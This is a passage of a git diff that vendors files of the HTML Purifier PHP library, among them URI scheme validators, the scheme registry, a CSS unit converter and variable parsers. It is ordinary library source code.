+ if ($content_type !== null && empty($this->allowed_types[$content_type])) {
+ return false;
+ }
+ if ($charset !== null) {
+ // error; we don't allow plaintext stuff
+ $charset = null;
+ }
+ $data = rawurldecode($data);
+ if ($is_base64) {
+ $raw_data = base64_decode($data);
+ } else {
+ $raw_data = $data;
+ }
+ // XXX probably want to refactor this into a general mechanism
+ // for filtering arbitrary content types
+ $file = tempnam("/tmp", "");
+ file_put_contents($file, $raw_data);
+ if (function_exists('exif_imagetype')) {
+ $image_code = exif_imagetype($file);
+ unlink($file);
+ } elseif (function_exists('getimagesize')) {
+ set_error_handler(array($this, 'muteErrorHandler'));
+ $info = getimagesize($file);
+ restore_error_handler();
+ unlink($file);
+ if ($info == false) {
+ return false;
+ }
+ $image_code = $info[2];
+ } else {
+ trigger_error("could not find exif_imagetype or getimagesize functions", E_USER_ERROR);
+ }
+ $real_content_type = image_type_to_mime_type($image_code);
+ if ($real_content_type != $content_type) {
+ // we're nice guys; if the content type is something else we
+ // support, change it over
+ if (empty($this->allowed_types[$real_content_type])) {
+ return false;
+ }
+ $content_type = $real_content_type;
+ }
+ // ok, it's kosher, rewrite what we need
+ $uri->userinfo = null;
+ $uri->host = null;
+ $uri->port = null;
+ $uri->fragment = null;
+ $uri->query = null;
+ $uri->path = "$content_type;base64," . base64_encode($raw_data);
+ return true;
+ }
+
+ /**
+ * @param int $errno
+ * @param string $errstr
+ */
+ public function muteErrorHandler($errno, $errstr)
+ {
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php
new file mode 100644
index 000000000..215be4ba8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php
@@ -0,0 +1,44 @@
+<?php
+
+/**
+ * Validates file as defined by RFC 1630 and RFC 1738.
+ */
+class HTMLPurifier_URIScheme_file extends HTMLPurifier_URIScheme
+{
+ /**
+ * Generally file:// URLs are not accessible from most
+ * machines, so placing them as an img src is incorrect.
+ * @type bool
+ */
+ public $browsable = false;
+
+ /**
+ * Basically the *only* URI scheme for which this is true, since
+ * accessing files on the local machine is very common. In fact,
+ * browsers on some operating systems don't understand the
+ * authority, though I hear it is used on Windows to refer to
+ * network shares.
+ * @type bool
+ */
+ public $may_omit_host = true;
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function doValidate(&$uri, $config, $context)
+ {
+ // Authentication method is not supported
+ $uri->userinfo = null;
+ // file:// makes no provisions for accessing the resource
+ $uri->port = null;
+ // While it seems to work on Firefox, the querystring has
+ // no possible effect and is thus stripped.
+ $uri->query = null;
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php
new file mode 100644
index 000000000..1eb43ee5c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php
@@ -0,0 +1,58 @@
+<?php
+
+/**
+ * Validates ftp (File Transfer Protocol) URIs as defined by generic RFC 1738.
+ */
+class HTMLPurifier_URIScheme_ftp extends HTMLPurifier_URIScheme
+{
+ /**
+ * @type int
+ */
+ public $default_port = 21;
+
+ /**
+ * @type bool
+ */
+ public $browsable = true; // usually
+
+ /**
+ * @type bool
+ */
+ public $hierarchical = true;
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function doValidate(&$uri, $config, $context)
+ {
+ $uri->query = null;
+
+ // typecode check
+ $semicolon_pos = strrpos($uri->path, ';'); // reverse
+ if ($semicolon_pos !== false) {
+ $type = substr($uri->path, $semicolon_pos + 1); // no semicolon
+ $uri->path = substr($uri->path, 0, $semicolon_pos);
+ $type_ret = '';
+ if (strpos($type, '=') !== false) {
+ // figure out whether or not the declaration is correct
+ list($key, $typecode) = explode('=', $type, 2);
+ if ($key !== 'type') {
+ // invalid key, tack it back on encoded
+ $uri->path .= '%3B' . $type;
+ } elseif ($typecode === 'a' || $typecode === 'i' || $typecode === 'd') {
+ $type_ret = ";type=$typecode";
+ }
+ } else {
+ $uri->path .= '%3B' . $type;
+ }
+ $uri->path = str_replace(';', '%3B', $uri->path);
+ $uri->path .= $type_ret;
+ }
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php
new file mode 100644
index 000000000..ce69ec438
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * Validates http (HyperText Transfer Protocol) as defined by RFC 2616
+ */
+class HTMLPurifier_URIScheme_http extends HTMLPurifier_URIScheme
+{
+ /**
+ * @type int
+ */
+ public $default_port = 80;
+
+ /**
+ * @type bool
+ */
+ public $browsable = true;
+
+ /**
+ * @type bool
+ */
+ public $hierarchical = true;
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function doValidate(&$uri, $config, $context)
+ {
+ $uri->userinfo = null;
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php
new file mode 100644
index 000000000..0e96882db
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php
@@ -0,0 +1,18 @@
+<?php
+
+/**
+ * Validates https (Secure HTTP) according to http scheme.
+ */
+class HTMLPurifier_URIScheme_https extends HTMLPurifier_URIScheme_http
+{
+ /**
+ * @type int
+ */
+ public $default_port = 443;
+ /**
+ * @type bool
+ */
+ public $secure = true;
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/mailto.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/mailto.php
new file mode 100644
index 000000000..c3a6b602a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/mailto.php
@@ -0,0 +1,40 @@
+<?php
+
+// VERY RELAXED! Shouldn't cause problems, not even Firefox checks if the
+// email is valid, but be careful!
+
+/**
+ * Validates mailto (for E-mail) according to RFC 2368
+ * @todo Validate the email address
+ * @todo Filter allowed query parameters
+ */
+
+class HTMLPurifier_URIScheme_mailto extends HTMLPurifier_URIScheme
+{
+ /**
+ * @type bool
+ */
+ public $browsable = false;
+
+ /**
+ * @type bool
+ */
+ public $may_omit_host = true;
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function doValidate(&$uri, $config, $context)
+ {
+ $uri->userinfo = null;
+ $uri->host = null;
+ $uri->port = null;
+ // we need to validate path against RFC 2368's addr-spec
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php
new file mode 100644
index 000000000..7490927d6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php
@@ -0,0 +1,35 @@
+<?php
+
+/**
+ * Validates news (Usenet) as defined by generic RFC 1738
+ */
+class HTMLPurifier_URIScheme_news extends HTMLPurifier_URIScheme
+{
+ /**
+ * @type bool
+ */
+ public $browsable = false;
+
+ /**
+ * @type bool
+ */
+ public $may_omit_host = true;
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function doValidate(&$uri, $config, $context)
+ {
+ $uri->userinfo = null;
+ $uri->host = null;
+ $uri->port = null;
+ $uri->query = null;
+ // typecode check needed on path
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php
new file mode 100644
index 000000000..f211d715e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php
@@ -0,0 +1,32 @@
+<?php
+
+/**
+ * Validates nntp (Network News Transfer Protocol) as defined by generic RFC 1738
+ */
+class HTMLPurifier_URIScheme_nntp extends HTMLPurifier_URIScheme
+{
+ /**
+ * @type int
+ */
+ public $default_port = 119;
+
+ /**
+ * @type bool
+ */
+ public $browsable = false;
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function doValidate(&$uri, $config, $context)
+ {
+ $uri->userinfo = null;
+ $uri->query = null;
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php
new file mode 100644
index 000000000..4ac8a0b76
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php
@@ -0,0 +1,81 @@
+<?php
+
+/**
+ * Registry for retrieving specific URI scheme validator objects.
+ */
+class HTMLPurifier_URISchemeRegistry
+{
+
+ /**
+ * Retrieve sole instance of the registry.
+ * @param HTMLPurifier_URISchemeRegistry $prototype Optional prototype to overload sole instance with,
+ * or bool true to reset to default registry.
+ * @return HTMLPurifier_URISchemeRegistry
+ * @note Pass a registry object $prototype with a compatible interface and
+ * the function will copy it and return it all further times.
+ */
+ public static function instance($prototype = null)
+ {
+ static $instance = null;
+ if ($prototype !== null) {
+ $instance = $prototype;
+ } elseif ($instance === null || $prototype == true) {
+ $instance = new HTMLPurifier_URISchemeRegistry();
+ }
+ return $instance;
+ }
+
+ /**
+ * Cache of retrieved schemes.
+ * @type HTMLPurifier_URIScheme[]
+ */
+ protected $schemes = array();
+
+ /**
+ * Retrieves a scheme validator object
+ * @param string $scheme String scheme name like http or mailto
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_URIScheme
+ */
+ public function getScheme($scheme, $config, $context)
+ {
+ if (!$config) {
+ $config = HTMLPurifier_Config::createDefault();
+ }
+
+ // important, otherwise attacker could include arbitrary file
+ $allowed_schemes = $config->get('URI.AllowedSchemes');
+ if (!$config->get('URI.OverrideAllowedSchemes') &&
+ !isset($allowed_schemes[$scheme])
+ ) {
+ return;
+ }
+
+ if (isset($this->schemes[$scheme])) {
+ return $this->schemes[$scheme];
+ }
+ if (!isset($allowed_schemes[$scheme])) {
+ return;
+ }
+
+ $class = 'HTMLPurifier_URIScheme_' . $scheme;
+ if (!class_exists($class)) {
+ return;
+ }
+ $this->schemes[$scheme] = new $class();
+ return $this->schemes[$scheme];
+ }
+
+ /**
+ * Registers a custom scheme to the cache, bypassing reflection.
+ * @param string $scheme Scheme name
+ * @param HTMLPurifier_URIScheme $scheme_obj
+ */
+ public function register($scheme, $scheme_obj)
+ {
+ $this->schemes[$scheme] = $scheme_obj;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php
new file mode 100644
index 000000000..166f3bf30
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php
@@ -0,0 +1,307 @@
+<?php
+
+/**
+ * Class for converting between different unit-lengths as specified by
+ * CSS.
+ */
+class HTMLPurifier_UnitConverter
+{
+
+ const ENGLISH = 1;
+ const METRIC = 2;
+ const DIGITAL = 3;
+
+ /**
+ * Units information array. Units are grouped into measuring systems
+ * (English, Metric), and are assigned an integer representing
+ * the conversion factor between that unit and the smallest unit in
+ * the system. Numeric indexes are actually magical constants that
+ * encode conversion data from one system to the next, with a O(n^2)
+ * constraint on memory (this is generally not a problem, since
+ * the number of measuring systems is small.)
+ */
+ protected static $units = array(
+ self::ENGLISH => array(
+ 'px' => 3, // This is as per CSS 2.1 and Firefox. Your mileage may vary
+ 'pt' => 4,
+ 'pc' => 48,
+ 'in' => 288,
+ self::METRIC => array('pt', '0.352777778', 'mm'),
+ ),
+ self::METRIC => array(
+ 'mm' => 1,
+ 'cm' => 10,
+ self::ENGLISH => array('mm', '2.83464567', 'pt'),
+ ),
+ );
+
+ /**
+ * Minimum bcmath precision for output.
+ * @type int
+ */
+ protected $outputPrecision;
+
+ /**
+ * Bcmath precision for internal calculations.
+ * @type int
+ */
+ protected $internalPrecision;
+
+ /**
+ * Whether or not BCMath is available.
+ * @type bool
+ */
+ private $bcmath;
+
+ public function __construct($output_precision = 4, $internal_precision = 10, $force_no_bcmath = false)
+ {
+ $this->outputPrecision = $output_precision;
+ $this->internalPrecision = $internal_precision;
+ $this->bcmath = !$force_no_bcmath && function_exists('bcmul');
+ }
+
+ /**
+ * Converts a length object of one unit into another unit.
+ * @param HTMLPurifier_Length $length
+ * Instance of HTMLPurifier_Length to convert. You must validate()
+ * it before passing it here!
+ * @param string $to_unit
+ * Unit to convert to.
+ * @return HTMLPurifier_Length|bool
+ * @note
+ * About precision: This conversion function pays very special
+ * attention to the incoming precision of values and attempts
+ * to maintain a number of significant figure. Results are
+ * fairly accurate up to nine digits. Some caveats:
+ * - If a number is zero-padded as a result of this significant
+ * figure tracking, the zeroes will be eliminated.
+ * - If a number contains less than four sigfigs ($outputPrecision)
+ * and this causes some decimals to be excluded, those
+ * decimals will be added on.
+ */
+ public function convert($length, $to_unit)
+ {
+ if (!$length->isValid()) {
+ return false;
+ }
+
+ $n = $length->getN();
+ $unit = $length->getUnit();
+
+ if ($n === '0' || $unit === false) {
+ return new HTMLPurifier_Length('0', false);
+ }
+
+ $state = $dest_state = false;
+ foreach (self::$units as $k => $x) {
+ if (isset($x[$unit])) {
+ $state = $k;
+ }
+ if (isset($x[$to_unit])) {
+ $dest_state = $k;
+ }
+ }
+ if (!$state || !$dest_state) {
+ return false;
+ }
+
+ // Some calculations about the initial precision of the number;
+ // this will be useful when we need to do final rounding.
+ $sigfigs = $this->getSigFigs($n);
+ if ($sigfigs < $this->outputPrecision) {
+ $sigfigs = $this->outputPrecision;
+ }
+
+ // BCMath's internal precision deals only with decimals. Use
+ // our default if the initial number has no decimals, or increase
+ // it by how ever many decimals, thus, the number of guard digits
+ // will always be greater than or equal to internalPrecision.
+ $log = (int)floor(log(abs($n), 10));
+ $cp = ($log < 0) ? $this->internalPrecision - $log : $this->internalPrecision; // internal precision
+
+ for ($i = 0; $i < 2; $i++) {
+
+ // Determine what unit IN THIS SYSTEM we need to convert to
+ if ($dest_state === $state) {
+ // Simple conversion
+ $dest_unit = $to_unit;
+ } else {
+ // Convert to the smallest unit, pending a system shift
+ $dest_unit = self::$units[$state][$dest_state][0];
+ }
+
+ // Do the conversion if necessary
+ if ($dest_unit !== $unit) {
+ $factor = $this->div(self::$units[$state][$unit], self::$units[$state][$dest_unit], $cp);
+ $n = $this->mul($n, $factor, $cp);
+ $unit = $dest_unit;
+ }
+
+ // Output was zero, so bail out early. Shouldn't ever happen.
+ if ($n === '') {
+ $n = '0';
+ $unit = $to_unit;
+ break;
+ }
+
+ // It was a simple conversion, so bail out
+ if ($dest_state === $state) {
+ break;
+ }
+
+ if ($i !== 0) {
+ // Conversion failed! Apparently, the system we forwarded
+ // to didn't have this unit. This should never happen!
+ return false;
+ }
+
+ // Pre-condition: $i == 0
+
+ // Perform conversion to next system of units
+ $n = $this->mul($n, self::$units[$state][$dest_state][1], $cp);
+ $unit = self::$units[$state][$dest_state][2];
+ $state = $dest_state;
+
+ // One more loop around to convert the unit in the new system.
+
+ }
+
+ // Post-condition: $unit == $to_unit
+ if ($unit !== $to_unit) {
+ return false;
+ }
+
+ // Useful for debugging:
+ //echo "<pre>n";
+ //echo "$n\nsigfigs = $sigfigs\nnew_log = $new_log\nlog = $log\nrp = $rp\n</pre>\n";
+
+ $n = $this->round($n, $sigfigs);
+ if (strpos($n, '.') !== false) {
+ $n = rtrim($n, '0');
+ }
+ $n = rtrim($n, '.');
+
+ return new HTMLPurifier_Length($n, $unit);
+ }
+
+ /**
+ * Returns the number of significant figures in a string number.
+ * @param string $n Decimal number
+ * @return int number of sigfigs
+ */
+ public function getSigFigs($n)
+ {
+ $n = ltrim($n, '0+-');
+ $dp = strpos($n, '.'); // decimal position
+ if ($dp === false) {
+ $sigfigs = strlen(rtrim($n, '0'));
+ } else {
+ $sigfigs = strlen(ltrim($n, '0.')); // eliminate extra decimal character
+ if ($dp !== 0) {
+ $sigfigs--;
+ }
+ }
+ return $sigfigs;
+ }
+
+ /**
+ * Adds two numbers, using arbitrary precision when available.
+ * @param string $s1
+ * @param string $s2
+ * @param int $scale
+ * @return string
+ */
+ private function add($s1, $s2, $scale)
+ {
+ if ($this->bcmath) {
+ return bcadd($s1, $s2, $scale);
+ } else {
+ return $this->scale((float)$s1 + (float)$s2, $scale);
+ }
+ }
+
+ /**
+ * Multiples two numbers, using arbitrary precision when available.
+ * @param string $s1
+ * @param string $s2
+ * @param int $scale
+ * @return string
+ */
+ private function mul($s1, $s2, $scale)
+ {
+ if ($this->bcmath) {
+ return bcmul($s1, $s2, $scale);
+ } else {
+ return $this->scale((float)$s1 * (float)$s2, $scale);
+ }
+ }
+
+ /**
+ * Divides two numbers, using arbitrary precision when available.
+ * @param string $s1
+ * @param string $s2
+ * @param int $scale
+ * @return string
+ */
+ private function div($s1, $s2, $scale)
+ {
+ if ($this->bcmath) {
+ return bcdiv($s1, $s2, $scale);
+ } else {
+ return $this->scale((float)$s1 / (float)$s2, $scale);
+ }
+ }
+
+ /**
+ * Rounds a number according to the number of sigfigs it should have,
+ * using arbitrary precision when available.
+ * @param float $n
+ * @param int $sigfigs
+ * @return string
+ */
+ private function round($n, $sigfigs)
+ {
+ $new_log = (int)floor(log(abs($n), 10)); // Number of digits left of decimal - 1
+ $rp = $sigfigs - $new_log - 1; // Number of decimal places needed
+ $neg = $n < 0 ? '-' : ''; // Negative sign
+ if ($this->bcmath) {
+ if ($rp >= 0) {
+ $n = bcadd($n, $neg . '0.' . str_repeat('0', $rp) . '5', $rp + 1);
+ $n = bcdiv($n, '1', $rp);
+ } else {
+ // This algorithm partially depends on the standardized
+ // form of numbers that comes out of bcmath.
+ $n = bcadd($n, $neg . '5' . str_repeat('0', $new_log - $sigfigs), 0);
+ $n = substr($n, 0, $sigfigs + strlen($neg)) . str_repeat('0', $new_log - $sigfigs + 1);
+ }
+ return $n;
+ } else {
+ return $this->scale(round($n, $sigfigs - $new_log - 1), $rp + 1);
+ }
+ }
+
+ /**
+ * Scales a float to $scale digits right of decimal point, like BCMath.
+ * @param float $r
+ * @param int $scale
+ * @return string
+ */
+ private function scale($r, $scale)
+ {
+ if ($scale < 0) {
+ // The f sprintf type doesn't support negative numbers, so we
+ // need to cludge things manually. First get the string.
+ $r = sprintf('%.0f', (float)$r);
+ // Due to floating point precision loss, $r will more than likely
+ // look something like 4652999999999.9234. We grab one more digit
+ // than we need to precise from $r and then use that to round
+ // appropriately.
+ $precise = (string)round(substr($r, 0, strlen($r) + $scale), -1);
+ // Now we return it, truncating the zero that was rounded off.
+ return substr($precise, 0, -1) . str_repeat('0', -$scale + 1);
+ }
+ return sprintf('%.' . $scale . 'f', (float)$r);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php
new file mode 100644
index 000000000..50cba6910
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php
@@ -0,0 +1,198 @@
+<?php
+
+/**
+ * Parses string representations into their corresponding native PHP
+ * variable type. The base implementation does a simple type-check.
+ */
+class HTMLPurifier_VarParser
+{
+
+ const STRING = 1;
+ const ISTRING = 2;
+ const TEXT = 3;
+ const ITEXT = 4;
+ const INT = 5;
+ const FLOAT = 6;
+ const BOOL = 7;
+ const LOOKUP = 8;
+ const ALIST = 9;
+ const HASH = 10;
+ const MIXED = 11;
+
+ /**
+ * Lookup table of allowed types. Mainly for backwards compatibility, but
+ * also convenient for transforming string type names to the integer constants.
+ */
+ public static $types = array(
+ 'string' => self::STRING,
+ 'istring' => self::ISTRING,
+ 'text' => self::TEXT,
+ 'itext' => self::ITEXT,
+ 'int' => self::INT,
+ 'float' => self::FLOAT,
+ 'bool' => self::BOOL,
+ 'lookup' => self::LOOKUP,
+ 'list' => self::ALIST,
+ 'hash' => self::HASH,
+ 'mixed' => self::MIXED
+ );
+
+ /**
+ * Lookup table of types that are string, and can have aliases or
+ * allowed value lists.
+ */
+ public static $stringTypes = array(
+ self::STRING => true,
+ self::ISTRING => true,
+ self::TEXT => true,
+ self::ITEXT => true,
+ );
+
+ /**
+ * Validate a variable according to type.
+ * It may return NULL as a valid type if $allow_null is true.
+ *
+ * @param mixed $var Variable to validate
+ * @param int $type Type of variable, see HTMLPurifier_VarParser->types
+ * @param bool $allow_null Whether or not to permit null as a value
+ * @return string Validated and type-coerced variable
+ * @throws HTMLPurifier_VarParserException
+ */
+ final public function parse($var, $type, $allow_null = false)
+ {
+ if (is_string($type)) {
+ if (!isset(HTMLPurifier_VarParser::$types[$type])) {
+ throw new HTMLPurifier_VarParserException("Invalid type '$type'");
+ } else {
+ $type = HTMLPurifier_VarParser::$types[$type];
+ }
+ }
+ $var = $this->parseImplementation($var, $type, $allow_null);
+ if ($allow_null && $var === null) {
+ return null;
+ }
+ // These are basic checks, to make sure nothing horribly wrong
+ // happened in our implementations.
+ switch ($type) {
+ case (self::STRING):
+ case (self::ISTRING):
+ case (self::TEXT):
+ case (self::ITEXT):
+ if (!is_string($var)) {
+ break;
+ }
+ if ($type == self::ISTRING || $type == self::ITEXT) {
+ $var = strtolower($var);
+ }
+ return $var;
+ case (self::INT):
+ if (!is_int($var)) {
+ break;
+ }
+ return $var;
+ case (self::FLOAT):
+ if (!is_float($var)) {
+ break;
+ }
+ return $var;
+ case (self::BOOL):
+ if (!is_bool($var)) {
+ break;
+ }
+ return $var;
+ case (self::LOOKUP):
+ case (self::ALIST):
+ case (self::HASH):
+ if (!is_array($var)) {
+ break;
+ }
+ if ($type === self::LOOKUP) {
+ foreach ($var as $k) {
+ if ($k !== true) {
+ $this->error('Lookup table contains value other than true');
+ }
+ }
+ } elseif ($type === self::ALIST) {
+ $keys = array_keys($var);
+ if (array_keys($keys) !== $keys) {
+ $this->error('Indices for list are not uniform');
+ }
+ }
+ return $var;
+ case (self::MIXED):
+ return $var;
+ default:
+ $this->errorInconsistent(get_class($this), $type);
+ }
+ $this->errorGeneric($var, $type);
+ }
+
+ /**
+ * Actually implements the parsing. Base implementation does not
+ * do anything to $var. Subclasses should overload this!
+ * @param mixed $var
+ * @param int $type
+ * @param bool $allow_null
+ * @return string
+ */
+ protected function parseImplementation($var, $type, $allow_null)
+ {
+ return $var;
+ }
+
+ /**
+ * Throws an exception.
+ * @throws HTMLPurifier_VarParserException
+ */
+ protected function error($msg)
+ {
+ throw new HTMLPurifier_VarParserException($msg);
+ }
+
+ /**
+ * Throws an inconsistency exception.
+ * @note This should not ever be called. It would be called if we
+ * extend the allowed values of HTMLPurifier_VarParser without
+ * updating subclasses.
+ * @param string $class
+ * @param int $type
+ * @throws HTMLPurifier_Exception
+ */
+ protected function errorInconsistent($class, $type)
+ {
+ throw new HTMLPurifier_Exception(
+ "Inconsistency in $class: " . HTMLPurifier_VarParser::getTypeName($type) .
+ " not implemented"
+ );
+ }
+
+ /**
+ * Generic error for if a type didn't work.
+ * @param mixed $var
+ * @param int $type
+ */
+ protected function errorGeneric($var, $type)
+ {
+ $vtype = gettype($var);
+ $this->error("Expected type " . HTMLPurifier_VarParser::getTypeName($type) . ", got $vtype");
+ }
+
+ /**
+ * @param int $type
+ * @return string
+ */
+ public static function getTypeName($type)
+ {
+ static $lookup;
+ if (!$lookup) {
+ // Lazy load the alternative lookup table
+ $lookup = array_flip(HTMLPurifier_VarParser::$types);
+ }
+ if (!isset($lookup[$type])) {
+ return 'unknown';
+ }
+ return $lookup[$type];
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php
new file mode 100644
index 000000000..b15016c5b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php
@@ -0,0 +1,130 @@
+<?php
+
+/**
+ * Performs safe variable parsing based on types which can be used by
+ * users. This may not be able to represent all possible data inputs,
+ * however.
+ */
+class HTMLPurifier_VarParser_Flexible extends HTMLPurifier_VarParser
+{
+ /**
+ * @param mixed $var
+ * @param int $type
+ * @param bool $allow_null
+ * @return array|bool|float|int|mixed|null|string
+ * @throws HTMLPurifier_VarParserException
+ */
+ protected function parseImplementation($var, $type, $allow_null)
+ {
+ if ($allow_null && $var === null) {
+ return null;
+ }
+ switch ($type) {
+ // Note: if code "breaks" from the switch, it triggers a generic
+ // exception to be thrown. Specific errors can be specifically
+ // done here.
+ case self::MIXED:
+ case self::ISTRING:
+ case self::STRING:
+ case self::TEXT:
+ case self::ITEXT:
+ return $var;
+ case self::INT:
+ if (is_string($var) && ctype_digit($var)) {
+ $var = (int)$var;
+ }
+ return $var;
+ case self::FLOAT:
+ if ((is_string($var) && is_numeric($var)) || is_int($var)) {
+ $var = (float)$var;
+ }
+ return $var;
+ case self::BOOL:
+ if (is_int($var) && ($var === 0 || $var === 1)) {
+ $var = (bool)$var;
+ } elseif (is_string($var)) {
+ if ($var == 'on' || $var == 'true' || $var == '1') {
+ $var = true;
+ } elseif ($var == 'off' || $var == 'false' || $var == '0') {
+ $var = false;
+ } else {
+ throw new HTMLPurifier_VarParserException("Unrecognized value '$var' for $type");
+ }
+ }
+ return $var;
+ case self::ALIST:
+ case self::HASH:
+ case self::LOOKUP:
+ if (is_string($var)) {
+ // special case: technically, this is an array with
+ // a single empty string item, but having an empty
+ // array is more intuitive
+ if ($var == '') {
+ return array();
+ }
+ if (strpos($var, "\n") === false && strpos($var, "\r") === false) {
+ // simplistic string to array method that only works
+ // for simple lists of tag names or alphanumeric characters
+ $var = explode(',', $var);
+ } else {
+ $var = preg_split('/(,|[\n\r]+)/', $var);
+ }
+ // remove spaces
+ foreach ($var as $i => $j) {
+ $var[$i] = trim($j);
+ }
+ if ($type === self::HASH) {
+ // key:value,key2:value2
+ $nvar = array();
+ foreach ($var as $keypair) {
+ $c = explode(':', $keypair, 2);
+ if (!isset($c[1])) {
+ continue;
+ }
+ $nvar[trim($c[0])] = trim($c[1]);
+ }
+ $var = $nvar;
+ }
+ }
+ if (!is_array($var)) {
+ break;
+ }
+ $keys = array_keys($var);
+ if ($keys === array_keys($keys)) {
+ if ($type == self::ALIST) {
+ return $var;
+ } elseif ($type == self::LOOKUP) {
+ $new = array();
+ foreach ($var as $key) {
+ $new[$key] = true;
+ }
+ return $new;
+ } else {
+ break;
+ }
+ }
+ if ($type === self::ALIST) {
+ trigger_error("Array list did not have consecutive integer indexes", E_USER_WARNING);
+ return array_values($var);
+ }
+ if ($type === self::LOOKUP) {
+ foreach ($var as $key => $value) {
+ if ($value !== true) {
+ trigger_error(
+ "Lookup array has non-true value at key '$key'; " .
+ "maybe your input array was not indexed numerically",
+ E_USER_WARNING
+ );
+ }
+ $var[$key] = true;
+ }
+ }
+ return $var;
+ default:
+ $this->errorInconsistent(__CLASS__, $type);
+ }
+ $this->errorGeneric($var, $type);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php
new file mode 100644
index 000000000..f11c318ef
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * This variable parser uses PHP's internal code engine. Because it does
+ * this, it can represent all inputs; however, it is dangerous and cannot
+ * be used by users.
+ */
+class HTMLPurifier_VarParser_Native extends HTMLPurifier_VarParser
+{
+
+ /**
+ * @param mixed $var
+ * @param int $type
+ * @param bool $allow_null
+ * @return null|string
+ */
+ protected function parseImplementation($var, $type, $allow_null)
+ {
+ return $this->evalExpression($var);
+ }
+
+ /**
+ * @param string $expr
+ * @return mixed
+ * @throws HTMLPurifier_VarParserException
+ */
+ protected function evalExpression($expr)
+ {
+ $var = null;
+ $result = eval("\$var = $expr;");
+ if ($result === false) {
+ throw new HTMLPurifier_VarParserException("Fatal error in evaluated code");
+ }
+ return $var;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php
new file mode 100644
index 000000000..5df341495
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php
@@ -0,0 +1,11 @@
+<?php
+
+/**
